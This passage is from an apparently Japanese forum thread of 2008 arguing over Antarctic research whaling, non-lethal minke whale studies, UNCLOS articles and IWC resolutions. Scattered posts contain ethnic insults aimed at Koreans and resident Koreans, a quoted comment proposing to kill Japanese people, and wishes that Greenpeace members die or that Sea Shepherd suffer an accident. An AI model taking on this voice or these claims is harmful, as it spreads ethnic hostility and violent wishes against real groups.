Management の各年特集号で各国の 調査が一覧表になってるから見なさいと、何度も言ってるじゃないですかw またまた嘘ばっかりw 此間「証拠」として出したのはPDFファイルだったよね？ それに「やってない」から「わかってない」という事実そのものは一度も否定できてないよねw つーかやっぱり嘘吐き反捕鯨さんと同一人物だったかw 「反捕鯨国は食用利用する積りが無いから細かく知る必要が無い」なんて ぶっちゃけちゃってたけど、それじゃRMP改善にも資源利用にも全く使えないんじゃんw そんな調査なら仮に「やってる」としても意味無いよねw ＞毎年何百も何千もある項目から、いちいちナンキョクミンククジラの発信器、 ＞バイオプシー調査だけ取り出して書き出せなんてことは、日本の納税者なら ＞鯨研に依頼すべきことだな。 違うよ？ 「やってる」と言い続けてるのは他ならぬ貴方自身なんだから、 その証拠提示責任も貴方自身にしかない。 バイオプシーで追跡調査を「ミンクに対して」やってる証拠、 発信機もしくは外見識別データベースで系統群追跡調査を同じく 「ミンクに対して」やってる証拠、を出せればイインダヨ？w で、このまま「証拠」出せずに「フェードアウト」が毎度のパターンだねw 176 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 01:12:20 ID:5IcLKizO0] >>175 >違うよ？ >「やってる」と言い続けてるのは他ならぬ貴方自身なんだから、 >その証拠提示責任も貴方自身にしかない。 系群を確定するのには捕殺は不要で、遺伝子情報だけで十分というのは、生態学を 知ってる人にとっては常識なの。 南極海のミンククジラについてどことどこの研究所がやってるかということと、 日本の調査捕鯨による捕殺が、系群確定にとって不要だということは関係がないの。 こういう変な議論というのは、水産庁が主導して国会議員も巻き込んでるから、 日本国内では有効だけど、国外への宣伝用には使えないディベートですよ。 177 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:22:52 ID:C3pEIuDy0] >>176 目視によるミンク鯨の生息数調査をイギリス自身で実施をしてもらおうよ。 これはイギリスが賛成を投じて決めた、ＩＷＣの約束事だよね。 178 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:24:06 ID:6ST7ldUm0] 生態学では常識･･･どこかで聞き覚えがあると思えばあなた政治板の某スレに居た人ですね。 179 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:27:01 ID:ys0RIh4f0] >>176 ＞系群を確定するのには捕殺は不要で、遺伝子情報だけで十分というのは、生態学を ＞知ってる人にとっては常識なの。 また誤魔化してるw 他の国、調査機関が「捕殺調査」を「やってる」かどうかなんか訊いてないよ？ 非致死での系統群把握調査をミンクに対して「やってるか」どうか、その証拠は？ って訊いてるんですよw ＞南極海のミンククジラについてどことどこの研究所がやってるかということと、 ＞日本の調査捕鯨による捕殺が、系群確定にとって不要だということは関係がないの。 貴方が「やってる」と言ってる以上、その証拠を示せなければ嘘吐きだ、と言ってるだけですw つまり「やってない」わけだ？未だに証拠出せる気配が無いもんねw ＞日本国内では有効だけど、国外への宣伝用には使えないディベートですよ。 とっくに気付いてると思うんだけど、貴方の下手な誤魔化しもココでは使えてないんだよねw 180 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:29:07 ID:M6LOJVvC0] イギリスって約束平気で反古にする二枚舌国家だよね。 中東問題もコイツのせい。南極でのオージーによる領有宣言もそう。 181 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:29:09 ID:ys0RIh4f0] >>178 間違いなくその人ですねw 182 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 01:51:36 ID:C3pEIuDy0] >>180 科学的調査捕鯨が政治的な思惑に左右されては困りますよね。 183 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 03:42:59 ID:3g9xxgak0] >>182 >科学的調査捕鯨が政治的な思惑に左右されては困りますよね。 法律の問題でしょ？ 捕鯨国側が、1946年の乱獲的捕鯨時代にできた国際捕鯨取締条約の規定を楯に、 「科学的調査捕鯨」の無制限な自己決定権を主張してるのに対し、欧州連合や 国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の 64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。 国際捕鯨取締条約じたいが、かつての業界の旦那衆の国際取り決めから、 1972年国連人間環境会議(ストックホルム)、国連海洋法条約（1982／94） を経て、より自然保護的な国際条約へと変化したということを、わざと 無視して、昔の解釈に戻そうとすると、摩擦が起こるのは当然だね。 184 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 04:51:29 ID:ppvypHd20] 結局、鯨は絶滅の危機にないんだろ じゃあ、捕っていいじゃんｗ 185 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 05:12:29 ID:goLvSWHk0] >>184 >結局、鯨は絶滅の危機にないんだろ どういうわけか、これがまた、日本近海のコククジラとセミクジラだけが、 世界的に決定的に絶滅の危機なんだな。 ＞じゃあ、捕っていいじゃんｗ こういう感覚の日本人、朝鮮半島人が多いからそういうことになったんだろうな。 あー、こりゃこりゃ、にっぽんじんでわしゃしあわせだぞー　＼　w　W　　／ 186 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 05:21:17 ID:ppvypHd20] >>185 そもそも、「野生動物だから捕っちゃダメ」っていうあんたらの価値観が理解できんのだが 187 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 05:24:19 ID:goLvSWHk0] 野生動物、捕っていいよ。 アメリカザリガニとか、ブラックバスとか、どんどん捕って食べちゃってね。 食糧自給、自己責任w 188 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 05:27:36 ID:ppvypHd20] >>187 うん、分かった。じゃあ、ちょっくら南氷洋のミンクでも捕ってくるわ あいつら絶滅の危機にないし、捕るのも合法だし 189 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 08:26:02 ID:IH41RZBE0] 日本って捕鯨だけ強行なんだよね、他はあっさり応じるのに。 ところが資源問題になりそうになったら大慌てでやめたり。 「世界中から苛められる可哀想な日本」を演出しているようにも見える。 190 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 08:42:34 ID:+kiRHxWh0] >>185 以上、日本人になれなかった、ある在日爺ちゃんの泣き言でした。 朝までクソスレ立てまくって、荒らしで嫌われることしかできないんです。 今は就寝中です。徹夜で荒らすので老体にこたえるのです。 191 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 08:57:04 ID:ppvypHd20] >>189 それは外務省と農水省の違いだお 192 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 09:56:22 ID:ys0RIh4f0] ID:5IcLKizO0さん、やっぱり証拠出せてなかったね・・・w 193 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 10:13:35 ID:rUwv7Z1d0] 捕鯨に関するＢＢＣの視聴者フォーラムの意見　イギリス国営放送 2007blog2007.blog108.fc2.com/blog-entry-431.html ・日本製品買うのをやめることにした。日本人は財布が寒くなったら国際世論に目を向けるだろう。 ・捕鯨に従事する奴は全員国際法で取り締まれ。日本はpariah（不可触民）同然の国だ。 ・広島と長崎を恨んでいるのかもしれないが、鯨を殺すのは見当違いだ。 ・日本が捕鯨を続けるのは時代遅れのプライドによるものだ。 ・日本は戦後飢えたから捕鯨を始めて絶滅寸前に追い込んだ。文化的遺産というのはガセネタだ。 ・鯨なんか食いたい奴がいるのか？よほどのデブなんだろうな。 ・日本人が「調査」の名目で1000匹ザトウクジラを殺すんだって。じゃあ世界中のみんなで協力して1000人日本人を殺して調査しようか。だめかなあ。 ・日本は科学的調査とほざいているが、デタラメだ。なんで1000匹も殺す必要がある？一匹殺して調べれば残りは全部同じじゃないのか？ ・調査だったら食べるんじゃねーよ。なんでスーパーで鯨の切り身が売られてるんだ？ ・捕鯨なんてとうの昔に禁止された蛮習だ。何故日本人はそんな野蛮なことを続ける？ 野蛮人だからか？ ・鯨を魚と同じように殺すのは人間の驕りだ。彼らほど知的な生命体がこの地球上にどれほどいるというのか？ ・世界で最も裕福な国々のなかの３国　日本・ノルウェー・アイスランドが恥知らずな海のレイプを続けているのは永久の恥である。第３世界から肉を買う金くらいあるだろう。 ・人類は進化の過程で様々な蛮習を捨ててきたのに、日本人だけは文化のアイデンティティーと主張して残虐な捕鯨を続けている。 ・鯨は絶滅寸前で、サイズからして彼らを殺す人道的な方法はない。捕鯨はやめるべきだ。 ・捕鯨は日本のイメージ悪化を進めるだけだ。日本人の無神経ぶりは南京大虐殺を否定する映画を作ろうとする極右分子にも現れている。日本とドイツは好対照だ。ドイツは過去を正直に認め、虐殺を否定する奴は刑務所に入れられる。 194 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 10:41:22 ID:nP5W9x7HO] ＧＰの反日キャンペーンの成果ですね 195 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 10:50:07 ID:nP5W9x7HO] 人種差別を煽っている点はナチスと同じ 196 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 11:22:06 ID:x7yw74/O0] 捕鯨反対を声高に訴えてる国って白人のキリスト教国だけだろ。 これってただの、宗教による他者への価値観の押し付けであって、エコでもなんでもない。 事実、反捕鯨派はカンガルーは駆除を名目に大量に処分していいのに 鯨はダメなのかを論理的に説明する事さえできないじゃん。 この時点で反捕鯨派には、なんの説得力も無いし、ましてや白人の大好きな正義もないよ。 197 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 11:47:05 ID:zIZjrpTD0] >>183 > 国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の > 64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。 君の言う国連海洋法条約の64条、65条というのは、こういう条文だ。 第64条 　高度回遊性の種 　１　　沿岸国その他その国民がある地域において附属書Ｉに掲げる高度回避性の種を 漁獲する国は、排他的経済水域の内外を問わず当該地域全体において当該種の保存を確 保しかつ最適利用の目的を促進するため、直接に又は適当な国際機関を通じて協力する 。適当な国際機関が存在しない地域においては、沿岸国その他その国民が当該地域にお いて高度回遊性の種を漁獲する国は、そのような機関を設立し及びその活動に参加する ため、協力する。 　２　 　１の規定は、この部の規定に加えて適用する。 第65条 　海産哺乳動物 　この部のいかなる規定も、沿岸国又は適当な場合には国際機関が海産哺乳動物の開発 についてこの部に定めるよりも厳しく禁止し、制限し又は規制する権利又は権限を制限 するものではない。いずれの国も、海産哺乳動物の保存のために協力するものとし、特 に、鯨類については、その保存、管理及び研究のために適当な国際機関を通じて活動す る。 つまり要約して言えば、「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。 だから国際捕鯨委員会に認められて捕獲調査をしている日本は国連海洋法条約の64条、65条には何も違反していないということ。 198 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 11:54:34 ID:6ST7ldUm0] 国連海洋法条約をいいだすなら、 オーストラリアはさっさとシーシェパードを逮捕すれよ。 でも、やらないよな。それどころか、政府高官が直々お出迎え。 自分はバリバリ違法なのに、相手に法律の薀蓄を語る。 そーいうのを二枚舌っていうんだぜ。 199 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 12:06:16 ID:lm4jpj5+0] 反捕鯨の理屈のほとんどは感情的なもので、科学的とはとてもいえないものだ。 これじゃ、たとえある種の鯨の数が回復していることが証明されたとしても、反捕鯨派は捕鯨することを許さないんだろうな。 200 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 13:01:10 ID:ppvypHd20] 鯨捕れなくていいから、GPは全員死んでくれないか？頼むから 201 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 15:03:06 ID:nP5W9x7HO] アメリカは未だに海洋法条約の批准をしてないんだよね。何か都合が悪い事でもあるのか？ 202 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 16:29:24 ID:F2QOLjgf0] ちょっと皆age杉じゃね？ 203 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 18:45:36 ID:htscxU3x0] youtubeの反捕鯨に熱心なカキコしてるヤツらって、 なんでたいていが２００７年の７月ごろの登録なんだろうな。やっぱ工作員か？ 204 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 19:29:06 ID:7BC1Glj60] >>175 >バイオプシーで追跡調査を「ミンクに対して」やってる証拠、 >発信機もしくは外見識別データベースで系統群追跡調査を同じく >「ミンクに対して」やってる証拠、を出せればイインダヨ？w VIKINGSSON, G.A. AND HEIDE-J0RGENSEN, M.P. A note on the movements of minke whales tracked by satellite in Icelandic waters in 2001-2004. SC/57/O9 OIEN, N. Report of the Norwegian 2004 survey for minke whales in the North Sea and southern Norwegian Sea. SC/57/O10 PALSBOLL, P.J., BERUBE, M., ROBBINS, J., NETTEL- HERNANZ; A., CLAPHAM, P.J. AND MATTILA, D. Whales before whaling in the North Atlantic: nuclear DNA markers. SC/56/O25. PALUMBI, S., ROMAN, J., (2006) The History of Whales Read from DNA.:in Estes, J. (ed.) Whales, Whaling and Ocean Ecosystems 205 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 19:32:13 ID:7BC1Glj60] >つまり要約して言えば、「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。 >だから国際捕鯨委員会に認められて捕獲調査をしている日本は国連海洋法条約の64条、65条には何も違反していないということ。 2007年の第一決議で、日本政府が捕獲許可を出さないよう勧告されているのに どうして「国際捕鯨委員会に認められて捕獲調査をしている」と言えるのかな？ 206 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 19:36:27 ID:htscxU3x0] 『勧告』、か。･･･勧告と韓国はとっても似ているねｗ 207 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 20:13:23 ID:7YjBKLsL0] たった4つで、そのうち3つまでは思いっきり北大西洋でつか… 208 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 20:42:27 ID:6ST7ldUm0] 途上国を脅迫、買収までして陣取ったIWCで勧告とかいわれてもねぇ･･･ つーか、環境かんけーねーだろぶっちゃけ 209 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 21:24:40 ID:tObpp5hz0] オーストラリアも勧告に従って海犬取り締まれよ 210 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 21:31:03 ID:nP5W9x7Hi] ＳＳに対しては「全会一致の非難決議」ね。重みが違います。 211 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 21:31:08 ID:6ST7ldUm0] いま、途上国はさ 日本がかつて明治期に体験したようなことにいままさに直面してるんだと思うわけよ 欧米諸国からすげー不条理な要求を突きつけられて、 不平等・不公正甚だしいにもかかわらずやむを得ず従わざるを得ないというね そーいうのは20世紀の遺物であって欲しかったね個人的には 所詮は絵空事だとわかっていてもね 212 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 21:51:49 ID:N42Wr9zU0] デスプルーフという映画の中に、 「ニュージーランド人に向かってオージーと絶対に呼ぶな。 ケツを蹴り飛ばされても文句言えない」と言う場面が出てくる。 オージーって蔑称なのかな？ 213 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 22:06:28 ID:lzGj2Qv90] いや、オージーが蔑称なんかなくって、 オージーと俺らを一緒にするなってことだろ それくらい嫌われ者だってことだ 過去ログに、ニュージーランド留学生の実体験が載ってたな 214 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 22:24:27 ID:ys0RIh4f0] >>204 ようやくの「証拠」提示、有難う御座います。 ・・・・・・ノルウェー、アイスランド、北大西洋・・・・・ 成る程成る程、コレは「JARPA/JARPA�U対象のミンクに関しては」 全く「やってない」という「証拠」ですね？ これでやっとスッキリしましたよ！！ 御自白、感謝しますw 215 名前：くじら君 mailto:　 [2008/03/31(月) 22:46:24 ID:H5nBikn60] >>214 涙目くん、あいかわらず往生際わるいなあ・・。ｗ きみは「ミンクに対して」と言っている、 いつから「JARPA/JARPA�U対象のミンクに関しては」 になったんだい？ｗ それから涙目くん“RMP改善”ってな〜に？ 216 名前：くじら君 mailto:　 [2008/03/31(月) 23:02:15 ID:H5nBikn60] >>204 いやあ助かります。これからソレ使わせてもらいます。 ってことは涙目くん（ID:ys0RIh4f0）、これからは 「南極海ミンククジラに関してはなぜやらない？」ですかなあ・・。ｗ 217 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:06:07 ID:0hRnMxyk0] 南極の調査捕鯨（JARPA/JARPA�U）についての話をしてたんじゃ・・・ と横槍を入れてみる 218 名前：くじら君 mailto:　　 [2008/03/31(月) 23:10:59 ID:H5nBikn60] >>197 >つまり要約して言えば、 >「鯨のことについては、国際捕鯨委員会の決めたことに従いなさい。」ということだな。 ま、そういうことです。 でも7BC1Glj60さんがおっしゃるように 毎年のように「国際捕鯨委員会の決めたこと」 つまり調査捕鯨中止勧告決議という「国際決議」を 『拘束力がないから無視、無視』と言って このエセ科学捕鯨を強行しているんだなこれが。 219 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:29:36 ID:C3pEIuDy0] >>218 >『拘束力がないから無視、無視』と言って 拘束力があるなら従うでしょう。 従うか、従わないかは、法律や条約上の決まりであって、 科学的調査捕鯨の意味を否定する根拠にはならないよ 220 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:31:06 ID:7YjBKLsL0] >>217 横槍というか、当たり前の頭持ってる者には不要な指摘ってとこかと。 話の流れは当たり前に南極海だからね。 で、ちょっと面白いのが、昨夜あたりに「非致死性調査での系統群なんて いくらでも行われてる」と言ってた人の方が、毎度南極と明示的に言って るんだな。(昨夜の流れの発端はJARPAの論文審査結果概要のPDF から来てるんだから明示的に言うまでもないんだけどねw) ID変わってるから確証は無いにしても、その人がねぇ…w 221 名前：くじら君 mailto:　 [2008/03/31(月) 23:38:48 ID:H5nBikn60] >ID変わってるから確証は無いにしても、その人がねぇ…w いいやおれは別人だよ。（その人の名誉のためにも言っとくけどね） 222 名前：くじら君 mailto:　 [2008/03/31(月) 23:43:40 ID:H5nBikn60] >>219 ま、一度や二度ならまだしも殆ど毎年だからね。 つかもし北朝鮮はこれと同じことを毎年やったらどう思う？ｗ 『拘束力がないから無視、無視』って言ってね。ｗ 223 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 23:43:43 ID:IOLEOqJ80] 【国際】カンガルー400頭の安楽死処分を保留 - オーストラリア mamono.2ch.net/test/read.cgi/newsplus/1206967651/ 224 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:46:21 ID:ys0RIh4f0] >>215 >きみは「ミンクに対して」と言っている、 >いつから「JARPA/JARPA�U対象のミンクに関しては」 になったんだい？ｗ いや、私は全く構わないんだよ？ 事実これでJARPA/JARPA�U対象のミンクに対して系統群追跡についての調査を 全く「やってない」事がハッキリしたんだからw >>217氏の言うとおり、昨日>>161>>166なんかで訊いてたのはJARPA/JARPA�U対象 ミンクの事なんだけど、案の定それについて「やってる」証拠は出せずに>>204の ノルウェー、アイスランド、北大西洋の「やってる」証拠出して誤魔化そうとして るんだよねw >それから涙目くん“RMP改善”ってな〜に？ ５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で 南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用 模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用 模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造 の季節要素）。 www.jfa.maff.go.jp/release/16.1105.01.htm 涙目愛誤反捕鯨のkuji7クン、返ってくる反応は毎度毎度同じなのでとっくに 予想できてるけど、キミ一人が曲解してるだけ、ですからw 225 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:47:02 ID:lzGj2Qv90] ここで一生懸命反捕鯨理論を喧伝してる人たちは、 将来、イギリスが地下資源獲得のために 南極開発に乗り出したらどーするんだろうね やっぱ反対の立場を取るんですかね 「南極は地球上の二酸化炭素を吸収してる南極の開発は 南極一帯の生態系を破壊するおそれがある」 「南極条約違反の可能性がある」っていってくれるんすかね それとも、おそらく連日のように報道される 「時代は変わった。これからは南極の資源開発の時代だ」という イギリス政府のプロパガンダに踊らされて無視を貫くんすかね あるいは、そのときになっても「見たまえ諸君。信じがたいことに、 ジャップはいまだに忌まわしい鯨食を続けているのだ」って写真撮って メディアに送りつけたりしてるんすかね。 226 名前：くじら君 mailto:　 [2008/03/31(月) 23:48:58 ID:H5nBikn60] いや中国でもいい。 どうするみなさん？ｗ 毎年のように国際決議を無視してんだぜ。 227 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:50:35 ID:C3pEIuDy0] >>222 勧告というのは、あくまでもアドバイスであって、 それに従うかどうかは加盟国の決めることでしょ？ 従わないからと言って、それを理由に 何のペナルティも受ける理由は無いよ。 228 名前：名無しさん＠お腹いっぱい。 [2008/03/31(月) 23:53:50 ID:P9sHRIM90] 問題はIWCや反日科学委員が日本の科学的調査は「非致死性調査」でもできると言ってた ことなんじゃないの？ それで、ザトウや北大西洋のミンクは非致死でできるけど、南極海のミンクは捕殺しなきゃ できないってことを証明すればいいのか？ 229 名前：くじら君 mailto:　 [2008/03/31(月) 23:58:51 ID:H5nBikn60] >>224 （１）RMPの適用模擬試験において考えられるシナリオの数を減らす。 ってどういうこと？具体的にね。シナリオってなに？ （２）将来のRMPの適用擬試験において新たなシナリオの特定作業を進める （例えば，系統群構造 の季節要素）。 ってどういうこと？具体的にね。 ちなみに夏にクジラを殺すとそのクジラが冬にどうしているかが分かんなくなっちゃう、 つまり系統群構造は一生分かんないってことになっちゃうけどどうする？ｗ んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。 230 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/03/31(月) 23:58:55 ID:62V5Em1+0] そもそもバーターだったもんなのに、後から約束を反故にして勧告もあったもんじゃねーよ 231 名前：くじら君 mailto:　 [2008/04/01(火) 00:05:27 ID:PmkQiRHN0] >>227 だからペナルティの話をしているのではなく。 もしかりに中国が同じ事をやっているとしたらどう思うと訊いている。 毎年のように（どうせ拘束力がないんだから）無視、無視と言って 調査捕鯨を強行しているとしたらどう思うかいと訊いている。 232 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:11:04 ID:3/7yUWQi0] >>231 仮定の話で聞かれてもあまり意味ないよ。 条約で認められた措置をとれば良いのでは。 少なくともＳＳの行為を正当化できる条約上の根拠は無いでしょ？ 233 名前：くじら君 mailto:　 [2008/04/01(火) 00:15:26 ID:PmkQiRHN0] >>224 つーか涙目くん、よーく読めばわかるが “RMP改善”とは書いてない “南氷洋ミンククジラの資源管理を改善”と書いてある。 “RMP改善”＝“南氷洋ミンククジラの資源管理を改善”ではないのだよ。 （まあかなり恣意的な書き方であることは確かだけどね） 234 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:20:36 ID:hnbioMhF0] >>229 ＞ってどういうこと？具体的にね。シナリオってなに？ ＞ってどういうこと？具体的にね。 キミと同じく全くの素人ですので知りませんw ただこれはIWC科学委員会の見解ですからね？ www.jfa.maff.go.jp/release/16.1105.01.htm ＞ちなみに夏にクジラを殺すとそのクジラが冬にどうしているかが分かんなくなっちゃう、 ＞つまり系統群構造は一生分かんないってことになっちゃうけどどうする？ｗ ん？何故捕殺個体以外への追跡調査を「できない」事として考えちゃうの？ JARPAでは系統群を丸ごと皆殺しにしてるんだっけ？w ＞んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。 IWC科学委員会の偉い学者さん達が言ってる事なんでそれを支持してるだけ なんだけどなw んでどうして哀誤のkuji7クンはこれを“RMP改善”じゃないと思うのかな？ 「具体的に」ね？w 235 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:28:30 ID:hnbioMhF0] >>223 ＞“RMP改善”とは書いてない ＞“南氷洋ミンククジラの資源管理を改善”と書いてある。 毎度毎度の曲解お待ちしておりましたw ＞５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で ＞南氷洋ミンククジラの資源管理を改善する可能性を有する。 www.jfa.maff.go.jp/release/16.1105.01.htm RMPって単体鯨種を対象とした管理方式なんだよねェ？ “南氷洋ミンククジラの資源管理を改善”ってRMP以外の何を改善する事を指すの？ RMP以外に"南氷洋ミンククジラの資源管理"システムってあるんだっけェ？ ＞“RMP改善”＝“南氷洋ミンククジラの資源管理を改善”ではないのだよ。 じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w 236 名前：くじら君 mailto:　 [2008/04/01(火) 00:28:35 ID:PmkQiRHN0] >>234 >＞んでどうしてそれらが“RMP改善”ってことになるのか？具体的にね。 >IWC科学委員会の偉い学者さん達が言ってる事なんでそれを支持してるだけ >なんだけどなw ん？　“RMP改善”って言ってないけど？ｗ “南氷洋ミンククジラの資源管理を改善”って言ってるけど？ どこに“RMP改善”なんて書いてある？ 237 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:33:30 ID:hnbioMhF0] >>236 >ん？　“RMP改善”って言ってないけど？ｗ >“南氷洋ミンククジラの資源管理を改善”って言ってるけど？ >>235 IWC科学委員会が言ってるのは「RMP改善」じゃなくて「何を改善する」と 言ってるのか答えられるかな？w RMPの他に今現在運用を検討されてる「南氷洋ミンククジラの資源管理」 に相当する管理方式は存在するんだっけ？ 238 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:34:58 ID:wnKOPwKl0] >>210 このままＳＳのさばしたら捕鯨国有利になるようなシナリオが見えるからなｗ 何か事故でもおきればいいのにｗ死者を出してはだめだが 239 名前：くじら君 mailto: [2008/04/01(火) 00:40:39 ID:PmkQiRHN0] >>235 >RMP以外に"南氷洋ミンククジラの資源管理"システムってあるんだっけェ？ あるよ、生態系モデルを使っての鯨資源管理っていうのがね。 >じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w まあ多分のその生態系モデルを改善すると言ってるんだろうね。 240 名前：くじら君 mailto:　　 [2008/04/01(火) 00:45:10 ID:PmkQiRHN0] いやいや正確に書くと「改善する“可能性”がある」とね。 あぶないあぶない、もうちょっとで例の涙目くんの詭弁に引っかかるとこだった。ｗ 241 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:48:18 ID:3/7yUWQi0] >>240 可能性があるだけなら、調査方法については、 日本のやり方を含め、さまざまな方法を認めれば良い訳ですね。 242 名前：くじら君 mailto:　 [2008/04/01(火) 00:53:02 ID:PmkQiRHN0] 涙目くん、これで少なくとも科学委員会が “RMP改善”なんてことは言ってない ってことが理解できたかな。 243 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 00:53:30 ID:hnbioMhF0] >>239 ＞あるよ、生態系モデルを使っての鯨資源管理っていうのがね。 何故南氷洋ミンクという単一鯨種に対して「生態系モデル」を"改善"出来るのか 説明出来るかな？ ＞>じゃあ何を改善するとIWC科学委員会は言ってるのか、「具体的に」答えられるかな？w ＞まあ多分のその生態系モデルを改善すると言ってるんだろうね。 違うよね？ ＞５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で ＞南氷洋ミンククジラの資源管理を改善する可能性を有する。 www.jfa.maff.go.jp/release/16.1105.01.htm 実際運用する資源管理方式はRMPなんだよね？ キミが言ってる「生態系モデル」は運用検討されてるの？ それから「改善」対象が「生態系モデル」だったとしてIWC科学委員会自体が ＞次の方法で＞南氷洋ミンククジラの資源管理を改善する可能性を有する。 ＞www.jfa.maff.go.jp/release/16.1105.01.htm と認めてる以上はJARPA/JARPA�Uの必要性が有る、という事実に変りはない筈だよねェ...？w 244 名前：くじら君 mailto:　 [2008/04/01(火) 01:00:27 ID:PmkQiRHN0] >>243 涙目くん、なに言ってんだか分かんないよ。 まあとにかく少なくとも科学委員会が “RMP改善”なんてことは言ってない ってことが理解できたみたいね。 245 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:00:47 ID:hnbioMhF0] >>242 ＞これで少なくとも科学委員会が“RMP改善”なんてことは言ってない ＞ってことが理解できたかな。 ん？事実、「IWC科学委員会」自体が言ってる事だよねェ.....w ５． JARPA計画の結果はRMPの下での資源管理に必要としないが，次の方法で 南氷洋ミンククジラの資源管理を改善する可能性を有する。（１）RMPの適用 模擬試験において考えられるシナリオの数を減らす。（２）将来のRMPの適用 模擬試験において新たなシナリオの特定作業を進める（例えば，系統群構造 の季節要素）。 www.jfa.maff.go.jp/release/16.1105.01.htm キミがどんなに曲解に曲解を重ねて必死に否定しようとしても、 IWC科学委員会自体がJARPA/JARPA�Uでの「資源管理を改善する可能性」を 認めてる以上、JARPA/JARPA�Uは必要、という事にしかなりませんw それとも「鯨類資源の持続利用」を目的としたIWCにおいて、資源管理方式を 「（改善余地が有るのにも拘らず）それ以上改善しなくてよい」なんて言ってるとでも？w 246 名前：名無しさん＠お腹いっぱい。 [2008/04/01(火) 01:07:09 ID:aJrArMjG0] >>223 ”安楽死”をやめた（？）ということは そもそも”安楽死”の必要性に科学的根拠がなかったと、 そういうことですねｗギャレットはどう言い訳するのかな？ｗｗｗ 247 名前：くじら君 mailto:　　 [2008/04/01(火) 01:08:56 ID:PmkQiRHN0] 実はこの「生態系モデルを使っての鯨資源管理」って言い出したのは この業界の御用学者さんたちなのね。 「RMP資源管理]だと鯨を“殺す必要がない”ので焦ったこの御用学者さんたちは 今度は多くのパラメータを必要とするこの「生態系モデル鯨資源管理」を 唱え出したというわけなのさ。ｗ 248 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/01(火) 01:10:07 ID:hnbioMhF0] >>244 ＞まあとにかく少なくとも科学委員会が“RMP改善”なんてことは言ってない ＞ってことが理解できたみたいね。 単一種である「南氷洋ミンククジラ」の資源管理方式とはRMP以外を指さない のだから、それを「改善」すると言えばRMP改善以外はあり得ないんだよねw 勿論「生態系モデル」なら多鯨種・他生物間の競合などを指すんだろうから ザトウやナガスの資源管理の改善の事も同時に指すのかも知れないけど、 